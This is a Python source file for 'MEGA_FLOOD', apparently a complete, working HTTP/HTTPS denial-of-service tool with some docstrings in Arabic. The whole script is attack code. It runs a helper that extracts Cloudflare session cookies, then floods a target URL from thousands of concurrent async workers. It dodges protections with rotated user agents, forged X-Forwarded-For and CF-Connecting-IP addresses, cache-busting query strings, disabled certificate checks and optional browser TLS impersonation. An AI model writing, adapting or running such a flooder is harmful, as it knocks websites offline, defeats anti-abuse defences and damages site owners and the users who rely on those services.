|
|
| """
|
| MEGA_FLOOD - Ultimate HTTP/HTTPS Flood with Cloudflare Session Extraction
|
| Usage: python MEGA_FLOOD.py --url https://target.com --workers 2000 --requests 500000
|
| """
|
|
|
| import asyncio
|
| import aiohttp
|
| import ssl
|
| import random
|
| import time
|
| import json
|
| import os
|
| import sys
|
| import subprocess
|
| import argparse
|
| from typing import Optional, Dict, List
|
| from collections import defaultdict
|
| import socket
|
| import urllib.parse
|
| BROTLI_AVAILABLE = True
|
|
|
| try:
|
| from curl_cffi import requests as cffi_requests
|
| CURL_CFFI_AVAILABLE = True
|
| except ImportError:
|
| CURL_CFFI_AVAILABLE = False
|
|
|
|
|
| EXTRACTOR_SCRIPT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "extract_session.py")
|
| SESSION_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "session_data.json")
|
| EXTRACTOR_TIMEOUT = 120
|
|
|
|
|
| USER_AGENTS = [
|
| "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
| "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
| "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",
|
| "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0",
|
| "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15",
|
| ]
|
| ACCEPTS = [
|
| "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
| "application/json, text/javascript, */*; q=0.01",
|
| "text/html,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
| ]
|
| ACCEPT_LANGUAGES = ["en-US,en;q=0.9", "en-GB,en;q=0.8", "ar-SA,ar;q=0.9", "fr-FR,fr;q=0.8"]
|
|
|
|
|
|
|
| def load_session_from_file() -> Optional[Dict]:
|
| """تحميل الجلسة من ملف JSON."""
|
| if not os.path.exists(SESSION_FILE):
|
| return None
|
| try:
|
| with open(SESSION_FILE, 'r', encoding='utf-8') as f:
|
| data = json.load(f)
|
| if data.get('cookies'):
|
| return data
|
| except Exception:
|
| pass
|
| return None
|
|
|
| def extract_session(target_url: str) -> Optional[Dict]:
|
| """تشغيل سكربت استخراج الجلسة وانتظار النتيجة."""
|
| if not os.path.exists(EXTRACTOR_SCRIPT):
|
| print(f"[!] Extractor script not found: {EXTRACTOR_SCRIPT}")
|
| return None
|
|
|
| if os.path.exists(SESSION_FILE):
|
| os.remove(SESSION_FILE)
|
| print(f"[*] Running session extractor for {target_url} ...")
|
| try:
|
|
|
| proc = subprocess.Popen(
|
| [sys.executable, EXTRACTOR_SCRIPT, "--url", target_url],
|
| stdout=subprocess.PIPE,
|
| stderr=subprocess.PIPE,
|
| text=False,
|
| )
|
| stdout, stderr = proc.communicate(timeout=EXTRACTOR_TIMEOUT)
|
|
|
| if stdout:
|
| try:
|
| print(stdout.decode('utf-8', errors='ignore'))
|
| except:
|
| pass
|
| if stderr:
|
| try:
|
| print(stderr.decode('utf-8', errors='ignore'))
|
| except:
|
| pass
|
| if proc.returncode != 0:
|
| print(f"[!] Extractor exited with code {proc.returncode}")
|
| return None
|
| except subprocess.TimeoutExpired:
|
| proc.kill()
|
| print("[!] Extractor timed out.")
|
| return None
|
| except Exception as e:
|
| print(f"[!] Failed to run extractor: {e}")
|
| return None
|
|
|
| return load_session_from_file()
|
|
|
| def build_headers(cookies: Optional[List[Dict]] = None,
|
| user_agent: Optional[str] = None,
|
| accept_language: Optional[str] = None,
|
| sec_ch_ua: Optional[str] = None) -> Dict[str, str]:
|
| """بناء رؤوس HTTP مع إمكانية استخدام بيانات من الجلسة المستخرجة."""
|
| headers = {
|
| "User-Agent": user_agent if user_agent else random.choice(USER_AGENTS),
|
| "Accept": random.choice(ACCEPTS),
|
| "Accept-Language": accept_language if accept_language else random.choice(ACCEPT_LANGUAGES),
|
| "Accept-Encoding": "gzip, deflate" + (", br" if BROTLI_AVAILABLE else ""),
|
| "Connection": "keep-alive",
|
| "Cache-Control": "no-cache",
|
| "Pragma": "no-cache",
|
| "Upgrade-Insecure-Requests": "1",
|
| "Sec-Fetch-Dest": "document",
|
| "Sec-Fetch-Mode": "navigate",
|
| "Sec-Fetch-Site": "none",
|
| "Sec-Fetch-User": "?1",
|
| }
|
| if sec_ch_ua:
|
| headers["Sec-CH-UA"] = sec_ch_ua
|
| if cookies:
|
| cookie_str = "; ".join([f"{c['name']}={c['value']}" for c in cookies if 'name' in c and 'value' in c])
|
| if cookie_str:
|
| headers["Cookie"] = cookie_str
|
| return headers
|
|
|
|
|
|
|
| async def mega_flood(
|
| url: str,
|
| workers: int = 1000,
|
| total_requests: int = 100000,
|
| method: str = "GET",
|
| duration: Optional[float] = None,
|
| use_existing_session: bool = True,
|
| use_cffi: bool = False,
|
| rate_limit: Optional[float] = None,
|
| ):
|
| """شن هجوم ضخم باستخدام asyncio مع إمكانية استخراج الجلسة."""
|
|
|
| session_data = None
|
| if use_existing_session:
|
| session_data = load_session_from_file()
|
| if session_data:
|
| print(f"[+] Loaded existing session with {len(session_data.get('cookies', []))} cookies.")
|
| else:
|
| print("[!] No existing session found. Extracting new one...")
|
| session_data = extract_session(url)
|
| else:
|
| print("[!] Session extraction forced...")
|
| session_data = extract_session(url)
|
|
|
| if not session_data:
|
| print("[!] No session available. Proceeding without cookies (may get blocked).")
|
| cookies = None
|
| user_agent = None
|
| accept_language = None
|
| sec_ch_ua = None
|
| else:
|
| cookies = session_data.get('cookies', [])
|
|
|
| user_agent = session_data.get('user_agent')
|
| accept_language = session_data.get('accept_language')
|
| sec_ch_ua = session_data.get('sec_ch_ua')
|
| print(f"[+] Session ready: {len(cookies)} cookies.")
|
| if user_agent:
|
| print(f"[+] User-Agent from session: {user_agent[:50]}...")
|
|
|
|
|
| ssl_context = ssl.create_default_context()
|
| ssl_context.check_hostname = False
|
| ssl_context.verify_mode = ssl.CERT_NONE
|
|
|
|
|
| connector = aiohttp.TCPConnector(
|
| limit=0,
|
| limit_per_host=0,
|
| force_close=False,
|
| enable_cleanup_closed=True,
|
| ssl=ssl_context,
|
| ttl_dns_cache=300,
|
| keepalive_timeout=30,
|
| )
|
| timeout = aiohttp.ClientTimeout(total=8, connect=3, sock_read=5)
|
|
|
|
|
| sem = asyncio.Semaphore(workers)
|
|
|
|
|
| stats = defaultdict(int)
|
| stats_lock = asyncio.Lock()
|
| start_time = time.monotonic()
|
| sent_count = 0
|
| last_print = time.monotonic()
|
|
|
|
|
| async def do_request(session, cffi_session=None):
|
| nonlocal sent_count
|
| async with sem:
|
|
|
| headers = build_headers(
|
| cookies=cookies,
|
| user_agent=user_agent,
|
| accept_language=accept_language,
|
| sec_ch_ua=sec_ch_ua
|
| )
|
|
|
| if random.random() < 0.3:
|
| headers["X-Forwarded-For"] = f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
|
| if random.random() < 0.2:
|
| headers["CF-Connecting-IP"] = f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
|
|
|
| parsed = urllib.parse.urlparse(url)
|
| query = parsed.query
|
| new_query = f"_={int(time.time()*1000)}&{query}" if query else f"_={int(time.time()*1000)}"
|
| final_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
|
|
|
| start_req = time.monotonic()
|
| try:
|
| if use_cffi and CURL_CFFI_AVAILABLE and cffi_session:
|
| resp = await cffi_session.get(
|
| final_url,
|
| headers=headers,
|
| timeout=8,
|
| impersonate=random.choice(["chrome124", "chrome120", "firefox125"]),
|
| allow_redirects=True,
|
| )
|
| status = resp.status_code
|
| _ = await resp.aread()
|
| else:
|
| async with session.get(final_url, headers=headers, timeout=timeout) as resp:
|
| status = resp.status
|
| try:
|
| await resp.read()
|
| except Exception:
|
| pass
|
| elapsed = time.monotonic() - start_req
|
| async with stats_lock:
|
| stats[f"status_{status}"] += 1
|
| stats["total"] += 1
|
| sent_count += 1
|
| now = time.monotonic()
|
| if now - last_print > 1.0:
|
| elapsed_total = now - start_time
|
| total_sent = stats["total"]
|
| rps = total_sent / elapsed_total if elapsed_total > 0 else 0
|
| print(f"\r[+] Total: {total_sent} | RPS: {rps:.1f} | Last status: {status} ", end="", flush=True)
|
| except asyncio.TimeoutError:
|
| async with stats_lock:
|
| stats["timeouts"] += 1
|
| except Exception as e:
|
| async with stats_lock:
|
| stats["errors"] += 1
|
| if stats["errors"] % 100 == 0:
|
| print(f"\n[!] Error {e} (total errors: {stats['errors']})")
|
| if rate_limit and rate_limit > 0:
|
| await asyncio.sleep(1.0 / rate_limit)
|
|
|
|
|
| async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
|
| cffi_session = None
|
| if use_cffi and CURL_CFFI_AVAILABLE:
|
| cffi_session = cffi_requests.AsyncSession(verify=False, timeout=8)
|
|
|
| tasks = set()
|
| if duration and duration > 0:
|
| end_time = time.monotonic() + duration
|
| while time.monotonic() < end_time:
|
| for _ in range(min(workers, 100)):
|
| task = asyncio.create_task(do_request(session, cffi_session))
|
| tasks.add(task)
|
| if len(tasks) > workers * 2:
|
| done, pending = await asyncio.wait(tasks, timeout=0.05, return_when=asyncio.FIRST_COMPLETED)
|
| tasks = set(pending)
|
| await asyncio.sleep(0.001)
|
| await asyncio.gather(*tasks, return_exceptions=True)
|
| else:
|
| for i in range(total_requests):
|
| task = asyncio.create_task(do_request(session, cffi_session))
|
| tasks.add(task)
|
| if len(tasks) >= workers * 2:
|
| done, pending = await asyncio.wait(tasks, timeout=0.05, return_when=asyncio.FIRST_COMPLETED)
|
| tasks = set(pending)
|
| await asyncio.gather(*tasks, return_exceptions=True)
|
|
|
| if cffi_session:
|
| await cffi_session.close()
|
|
|
|
|
| elapsed = time.monotonic() - start_time
|
| total_sent = stats.get("total", 0)
|
| rps = total_sent / elapsed if elapsed > 0 else 0
|
| print(f"\n\n[+] FINAL STATS:")
|
| print(f" Total requests: {total_sent}")
|
| print(f" Elapsed: {elapsed:.2f}s")
|
| print(f" RPS: {rps:.1f}")
|
| print(f" Status codes: {dict(stats)}")
|
|
|
|
|
|
|
| def main():
|
| parser = argparse.ArgumentParser(description="MEGA_FLOOD - Ultimate HTTP flood with session extraction")
|
| parser.add_argument("--url", required=True, help="Target URL (e.g., https://example.com)")
|
| parser.add_argument("--workers", type=int, default=1000, help="Number of concurrent workers")
|
| parser.add_argument("--requests", type=int, default=100000, help="Total number of requests (0 = unlimited if duration is set)")
|
| parser.add_argument("--duration", type=float, default=None, help="Duration in seconds (overrides --requests if set)")
|
| parser.add_argument("--method", default="GET", choices=["GET", "POST"], help="HTTP method")
|
| parser.add_argument("--no-session", action="store_true", help="Do not use existing session, force extraction")
|
| parser.add_argument("--use-cffi", action="store_true", help="Use curl_cffi for TLS impersonation (if installed)")
|
| parser.add_argument("--rate", type=float, default=None, help="Rate limit (requests per second)")
|
|
|
| args = parser.parse_args()
|
|
|
|
|
| if args.duration and args.duration > 0:
|
| total_requests = 0
|
| else:
|
| total_requests = args.requests
|
|
|
| print("=" * 60)
|
| print(f"MEGA_FLOOD starting on {args.url}")
|
| print(f"Workers: {args.workers} | Total Requests: {total_requests if total_requests > 0 else 'Unlimited'} | Method: {args.method}")
|
| print("=" * 60)
|
|
|
| asyncio.run(mega_flood(
|
| url=args.url,
|
| workers=args.workers,
|
| total_requests=total_requests,
|
| method=args.method,
|
| duration=args.duration,
|
| use_existing_session=not args.no_session,
|
| use_cffi=args.use_cffi,
|
| rate_limit=args.rate,
|
| ))
|
|
|
| if __name__ == "__main__":
|
| main() |
